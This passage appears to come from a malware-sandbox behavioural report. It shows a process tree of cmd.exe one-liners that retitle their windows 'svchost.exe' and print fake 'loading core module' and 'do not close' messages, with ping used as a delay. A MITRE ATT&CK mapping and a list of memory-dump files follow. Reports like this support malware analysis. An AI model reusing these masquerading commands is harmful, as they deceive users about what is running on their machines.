- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:5312
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:7680
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:6644
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7808
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:6580
- C:\Windows\system32\cmd.exe
  cmd /k "color 5 & mode con cols=64 lines=14 & title svchost.exe 49 & echo. & echo loading core module 49 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 23453 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 49 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:2872
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7008
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:3128
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:7780
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7092
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7036
- C:\Windows\system32\cmd.exe
  cmd /k "color 2 & mode con cols=64 lines=14 & title svchost.exe 50 & echo. & echo loading core module 50 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 23851 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 50 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2956
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6848
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6240
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:8028
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7364
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:6664

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/396-1-0x00007FFF68E0F000-0x00007FFF68E10000-memory.dmp

Download

memory/396-2-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-3-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-4-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-5-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-6-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-9-0x0000014E22140000-0x0000014E22162000-memory.dmp

Download

memory/396-10-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-11-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-12-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-13-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-14-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-15-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download

memory/396-17-0x00007FFF68C80000-0x00007FFF69624000-memory.dmp

Download